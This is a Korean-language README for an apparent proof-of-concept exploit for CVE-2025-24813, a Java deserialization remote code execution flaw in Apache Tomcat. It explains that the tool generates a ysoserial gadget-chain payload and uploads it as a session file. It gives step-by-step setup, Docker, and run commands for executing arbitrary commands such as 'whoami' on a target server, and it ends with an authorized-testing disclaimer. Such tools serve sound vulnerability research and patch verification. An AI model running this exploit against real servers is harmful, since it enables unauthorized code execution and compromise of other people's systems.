
CVE-2025-24813에 대한 개념 증명 익스플로잇으로, Apache Tomcat의 Java 역직렬화 취약점입니다. 악성 직렬화 페이로드를 생성하고 이를 세션 파일로 업로드하여 원격 코드 실행을 유발합니다.
이 저장소는 Apache Tomcat의 Java 역직렬화 취약점인 CVE-2025-24813에 대한 개념 증명 익스플로잇을 포함하고 있습니다.
다음을 기반으로 합니다. absholi7ly/POC-CVE-2025-24813/.
의존성 설치:
uv venv
source .venv/bin/activate
uv sync
ysoserial 다운로드:
./download.sh
컨테이너에서 익스플로잇을 빌드하고 실행합니다:
docker build -t cve-2025-24813-poc:latest .
docker run --rm -it --mount "type=bind,src=$(pwd),target=/app" cve-2025-24813-poc:latest
python main.py <target>
익스플로잇을 직접 실행합니다:
python main.py <target_url> [options]
--command: 실행할 명령어 (기본값: calc.exe)--ysoserial: ysoserial.jar 경로 (기본값: ./ysoserial-all.jar)--gadget: ysoserial 가젯 체인 (기본값: CommonsCollections6)--payload_type: 페이로드 타입 - ysoserial 또는 java (기본값: ysoserial)--no-ssl-verify: SSL 검증 비활성화# 기본 사용법
python main.py http://target:8080
# 사용자 정의 명령어
python main.py http://target:8080 --command "whoami"
# ysoserial 대신 Java 페이로드 사용
python main.py http://target:8080 --payload_type java
이 도구는 교육 및 승인된 테스트 목적으로만 사용됩니다. 소유하지 않거나 명시적 테스트 권한이 없는 시스템에 사용하지 마십시오.